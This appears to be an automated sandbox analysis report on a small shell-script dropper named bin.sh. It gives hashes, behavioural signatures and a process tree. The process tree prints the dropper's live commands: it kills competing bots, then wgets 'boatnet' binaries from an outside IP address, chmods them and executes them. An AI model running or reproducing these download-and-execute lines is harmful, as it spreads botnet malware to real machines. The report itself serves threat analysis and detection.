Analysis
- max time kernel
6s - max time network
91s - platform
debian-9_mipsel - resource
debian9-mipsel-20260127-en - resource tags
arch:mipselimage:debian9-mipsel-20260127-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem - submitted
29/04/2026, 12:18
Static task
static1
Behavioral task
behavioral1
Sample
bin.sh
Resource
ubuntu1804-amd64-20260126-en
ubuntu-18.04-amd64
6 signatures
150 seconds
Behavioral task
behavioral2
Sample
bin.sh
Resource
debian9-armhf-20260126-en
debian-9-armhf
7 signatures
150 seconds
Behavioral task
behavioral3
Sample
bin.sh
Resource
debian9-mipsbe-20260126-en
debian-9-mips
7 signatures
150 seconds
Behavioral task
behavioral4
Sample
bin.sh
Resource
debian9-mipsel-20260127-en
debian-9-mipsel
7 signatures
150 seconds
General
- Target bin.sh
- Size 321B
- Sample260429-pgvbcsfw9m
- SHA256 8a559ab8f2cc7f4c0c52fb78beeecdb9995227ffbd766f4ff8e82721fe7b4438
- MD5 ee07f106d53c88cfe53c265c363f3967
- SHA1 8a4020d121847778fc634095f5522e1b5e58adf4
- SHA512 42973219cd712dfa4fcb3791ec8bf707619e618ec16cb155d6fff2ab4df0ff5d397b2f4127584a880d8e6ae533b08112d4d18c13aa9c689ad6d38adab70047c3
- TLSH T11FE0204FC09A253516395103E311CF24300510125EF2BBBCC449E722C747014F391F75
- MD5 SHA1 SHA512 TLSH
Score
7/10
Malware Config
Signatures
- File and Directory Permissions Modification 1 TTPs 2 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 742 chmod 746 chmod - Executes dropped EXE 1 IoCs
ioc pid Process /tmp/boatnet.x86 743 bin.sh - Enumerates running processes
Discovers information about currently running processes on the system
- Reads CPU attributes 1 TTPs 2 IoCs
description ioc Process File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill -
description ioc Process File opened for reading /proc/37/status pkill File opened for reading /proc/153/status pkill File opened for reading /proc/717/status pkill File opened for reading /proc/661/status pkill File opened for reading /proc/381/cmdline pkill File opened for reading /proc/77/status pkill File opened for reading /proc/674/status pkill File opened for reading /proc/77/cmdline pkill File opened for reading /proc/109/cmdline pkill File opened for reading /proc/15/status pkill File opened for reading /proc/21/status pkill File opened for reading /proc/361/status pkill File opened for reading /proc/680/status pkill File opened for reading /proc/72/status pkill File opened for reading /proc/17/status pkill File opened for reading /proc/360/status pkill File opened for reading /proc/sys/kernel/osrelease pkill File opened for reading /proc/23/status pkill File opened for reading /proc/24/cmdline pkill File opened for reading /proc/3/status pkill File opened for reading /proc/79/status pkill File opened for reading /proc/79/cmdline pkill File opened for reading /proc/76/status pkill File opened for reading /proc/126/status pkill File opened for reading /proc/6/status pkill File opened for reading /proc/10/status pkill File opened for reading /proc/18/cmdline pkill File opened for reading /proc/70/status pkill File opened for reading /proc/72/cmdline pkill File opened for reading /proc/153/status pkill File opened for reading /proc/19/status pkill File opened for reading /proc/24/cmdline pkill File opened for reading /proc/71/status pkill File opened for reading /proc/71/cmdline pkill File opened for reading /proc/37/cmdline pkill File opened for reading /proc/359/cmdline pkill File opened for reading /proc/703/cmdline pkill File opened for reading /proc/718/status pkill File opened for reading /proc/17/cmdline pkill File opened for reading /proc/383/cmdline pkill File opened for reading /proc/5/cmdline pkill File opened for reading /proc/11/status pkill File opened for reading /proc/24/status pkill File opened for reading /proc/714/cmdline pkill File opened for reading /proc/4/cmdline pkill File opened for reading /proc/359/status pkill File opened for reading /proc/387/status pkill File opened for reading /proc/72/cmdline pkill File opened for reading /proc/712/cmdline pkill File opened for reading /proc/714/status pkill File opened for reading /proc/360/status pkill File opened for reading /proc/sys/kernel/osrelease pkill File opened for reading /proc/4/cmdline pkill File opened for reading /proc/7/cmdline pkill File opened for reading /proc/381/status pkill File opened for reading /proc/158/status pkill File opened for reading /proc/718/cmdline pkill File opened for reading /proc/10/cmdline pkill File opened for reading /proc/18/status pkill File opened for reading /proc/680/status pkill File opened for reading /proc/8/cmdline pkill File opened for reading /proc/22/cmdline pkill File opened for reading /proc/81/status pkill File opened for reading /proc/15/cmdline pkill - System Network Configuration Discovery 1 TTPs 1 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 749 wget - Writes file to tmp directory 3 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/boatnet.x86 wget File opened for modification /tmp/boatnet.x86_64 wget File opened for modification /tmp/boatnet.mips wget
Processes
-
/tmp/bin.sh/tmp/bin.sh1⤵
- Executes dropped EXE
PID:717 -
/usr/bin/pkillpkill -9 -f boatnet2⤵
- Reads CPU attributes
- Reads runtime system information
PID:719
-
-
/usr/bin/pkillpkill -9 -f rage.bot2⤵
- Reads CPU attributes
- Reads runtime system information
PID:726
-
-
/usr/bin/wgetwget http://176.65.139.69/hiddenbin/boatnet.x86 -O boatnet.x862⤵
- Writes file to tmp directory
PID:731
-
-
/bin/chmodchmod 777 boatnet.x862⤵
- File and Directory Permissions Modification
PID:742
-
-
/tmp/boatnet.x86./boatnet.x86 rage.bot2⤵PID:743
-
-
/usr/bin/wgetwget http://176.65.139.69/hiddenbin/boatnet.x86_64 -O boatnet.x86_642⤵
- Writes file to tmp directory
PID:745
-
-
/bin/chmodchmod 777 boatnet.x86_642⤵
- File and Directory Permissions Modification
PID:746
-
-
/tmp/boatnet.x86_64./boatnet.x86_64 rage.bot2⤵PID:747
-
-
/usr/bin/wgetwget http://176.65.139.69/hiddenbin/boatnet.mips -O boatnet.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:749
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path /tmp/boatnet.x86
- Size 68KB
- SHA256 02e54b01bd57ae3d3ca09871a4766b89b032c3e2b4654cf69cbba430854d5337
- MD5 a4fdd256703c4d946149805314251c7d
- SHA1 f5ec4a647137ff078e9f9fa8a763b8d0a7b6d6d2
- SHA512 914ffba870edd999e90bfbb4e93a599255236763273578d2297555ac89151ba8e65fee7392c8317404f103593df9bc3a14d937c1228220b4c545a9254146bc1b
- SSDEEP 1536:t+E8zCO4b+XNWegiUiKBgZle7i9VEVx/SCaaoFLjJg:6maXNWBBiUYc/0G
- TLSH T1B8632947BB42DE77D45310F102F76B664A32FC3A6C36C682E764BCA0AA915D0A61737C
- MD5 SHA1 SHA512 SSDEEP TLSH